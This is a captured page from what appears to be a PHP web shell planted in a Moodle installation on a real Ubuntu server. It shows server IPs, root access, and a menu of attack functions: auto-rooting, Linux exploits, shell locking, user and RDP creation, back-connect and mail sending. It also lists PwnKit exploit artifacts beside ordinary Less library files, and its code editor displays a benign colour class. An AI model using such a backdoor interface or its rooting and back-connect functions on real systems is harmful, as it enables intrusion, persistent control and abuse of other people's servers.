Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
lib /
lessphp /
Tree /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Mixin
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
Alpha.php
832
B
-rw-rw-r--
Anonymous.php
1.07
KB
-rw-rw-r--
Assignment.php
721
B
-rw-rw-r--
Attribute.php
975
B
-rw-rw-r--
Call.php
2.84
KB
-rw-rw-r--
Color.php
5.12
KB
-rw-rw-r--
Comment.php
1.23
KB
-rw-rw-r--
Condition.php
1.46
KB
-rw-rw-r--
DefaultFunc.php
581
B
-rw-rw-r--
DetachedRuleset.php
822
B
-rw-rw-r--
Dimension.php
5.13
KB
-rw-rw-r--
Directive.php
2.02
KB
-rw-rw-r--
Element.php
1.48
KB
-rw-rw-r--
Expression.php
1.82
KB
-rw-rw-r--
Extend.php
1.78
KB
-rw-rw-r--
Import.php
8.28
KB
-rw-rw-r--
Javascript.php
542
B
-rw-rw-r--
Keyword.php
688
B
-rw-rw-r--
Media.php
4.27
KB
-rw-rw-r--
NameValue.php
1.3
KB
-rw-rw-r--
Negative.php
729
B
-rw-rw-r--
Operation.php
1.38
KB
-rw-rw-r--
Paren.php
577
B
-rw-rw-r--
Quoted.php
1.85
KB
-rw-rw-r--
Rule.php
3.1
KB
-rw-rw-r--
Ruleset.php
16.15
KB
-rw-rw-r--
RulesetCall.php
477
B
-rw-rw-r--
Selector.php
3.9
KB
-rw-rw-r--
UnicodeDescriptor.php
419
B
-rw-rw-r--
Unit.php
3.09
KB
-rw-rw-r--
UnitConversions.php
612
B
-rw-rw-r--
Url.php
1.75
KB
-rw-rw-r--
Value.php
794
B
-rw-rw-r--
Variable.php
1.2
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Color.php
<?php /** * Color * * @package Less * @subpackage tree */ class Less_Tree_Color extends Less_Tree{ public $rgb; public $alpha; public $isTransparentKeyword; public $type = 'Color'; public function __construct($rgb, $a = 1, $isTransparentKeyword = null ){ if( $isTransparentKeyword ){ $this->rgb = $rgb; $this->alpha = $a; $this->isTransparentKeyword = true; return; } $this->rgb = array(); if( is_array($rgb) ){ $this->rgb = $rgb; }else if( strlen($rgb) == 6 ){ foreach(str_split($rgb, 2) as $c){ $this->rgb[] = hexdec($c); } }else{ foreach(str_split($rgb, 1) as $c){ $this->rgb[] = hexdec($c.$c); } } $this->alpha = is_numeric($a) ? $a : 1; } public function compile(){ return $this; } public function luma(){ $r = $this->rgb[0] / 255; $g = $this->rgb[1] / 255; $b = $this->rgb[2] / 255; $r = ($r <= 0.03928) ? $r / 12.92 : pow((($r + 0.055) / 1.055), 2.4); $g = ($g <= 0.03928) ? $g / 12.92 : pow((($g + 0.055) / 1.055), 2.4); $b = ($b <= 0.03928) ? $b / 12.92 : pow((($b + 0.055) / 1.055), 2.4); return 0.2126 * $r + 0.7152 * $g + 0.0722 * $b; } /** * @see Less_Tree::genCSS */ public function genCSS( $output ){ $output->add( $this->toCSS() ); } public function toCSS( $doNotCompress = false ){ $compress = Less_Parser::$options['compress'] && !$doNotCompress; $alpha = Less_Functions::fround( $this->alpha ); // // If we have some transparency, the only way to represent it // is via `rgba`. Otherwise, we use the hex representation, // which has better compatibility with older browsers. // Values are capped between `0` and `255`, rounded and zero-padded. // if( $alpha < 1 ){ if( ( $alpha === 0 || $alpha === 0.0 ) && isset($this->isTransparentKeyword) && $this->isTransparentKeyword ){ return 'transparent'; } $values = array(); foreach($this->rgb as $c){ $values[] = Less_Functions::clamp( round($c), 255); } $values[] = $alpha; $glue = ($compress ? ',' : ', '); return "rgba(" . implode($glue, $values) . ")"; }else{ $color = $this->toRGB(); if( $compress ){ // Convert color to short format if( $color[1] === $color[2] && $color[3] === $color[4] && $color[5] === $color[6]) { $color = '#'.$color[1] . $color[3] . $color[5]; } } return $color; } } // // Operations have to be done per-channel, if not, // channels will spill onto each other. Once we have // our result, in the form of an integer triplet, // we create a new Color node to hold the result. // /** * @param string $op */ public function operate( $op, $other) { $rgb = array(); $alpha = $this->alpha * (1 - $other->alpha) + $other->alpha; for ($c = 0; $c < 3; $c++) { $rgb[$c] = Less_Functions::operate( $op, $this->rgb[$c], $other->rgb[$c]); } return new Less_Tree_Color($rgb, $alpha); } public function toRGB(){ return $this->toHex($this->rgb); } public function toHSL(){ $r = $this->rgb[0] / 255; $g = $this->rgb[1] / 255; $b = $this->rgb[2] / 255; $a = $this->alpha; $max = max($r, $g, $b); $min = min($r, $g, $b); $l = ($max + $min) / 2; $d = $max - $min; $h = $s = 0; if( $max !== $min ){ $s = $l > 0.5 ? $d / (2 - $max - $min) : $d / ($max + $min); switch ($max) { case $r: $h = ($g - $b) / $d + ($g < $b ? 6 : 0); break; case $g: $h = ($b - $r) / $d + 2; break; case $b: $h = ($r - $g) / $d + 4; break; } $h /= 6; } return array('h' => $h * 360, 's' => $s, 'l' => $l, 'a' => $a ); } //Adapted from http://mjijackson.com/2008/02/rgb-to-hsl-and-rgb-to-hsv-color-model-conversion-algorithms-in-javascript public function toHSV() { $r = $this->rgb[0] / 255; $g = $this->rgb[1] / 255; $b = $this->rgb[2] / 255; $a = $this->alpha; $max = max($r, $g, $b); $min = min($r, $g, $b); $v = $max; $d = $max - $min; if ($max === 0) { $s = 0; } else { $s = $d / $max; } $h = 0; if( $max !== $min ){ switch($max){ case $r: $h = ($g - $b) / $d + ($g < $b ? 6 : 0); break; case $g: $h = ($b - $r) / $d + 2; break; case $b: $h = ($r - $g) / $d + 4; break; } $h /= 6; } return array('h'=> $h * 360, 's'=> $s, 'v'=> $v, 'a' => $a ); } public function toARGB(){ $argb = array_merge( (array) Less_Parser::round($this->alpha * 255), $this->rgb); return $this->toHex( $argb ); } public function compare($x){ if( !property_exists( $x, 'rgb' ) ){ return -1; } return ($x->rgb[0] === $this->rgb[0] && $x->rgb[1] === $this->rgb[1] && $x->rgb[2] === $this->rgb[2] && $x->alpha === $this->alpha) ? 0 : -1; } public function toHex( $v ){ $ret = '#'; foreach($v as $c){ $c = Less_Functions::clamp( Less_Parser::round($c), 255); if( $c < 16 ){ $ret .= '0'; } $ret .= dechex($c); } return $ret; } /** * @param string $keyword */ public static function fromKeyword( $keyword ){ $keyword = strtolower($keyword); if( Less_Colors::hasOwnProperty($keyword) ){ // detect named color return new Less_Tree_Color(substr(Less_Colors::color($keyword), 1)); } if( $keyword === 'transparent' ){ return new Less_Tree_Color( array(0, 0, 0), 0, true); } } }
Close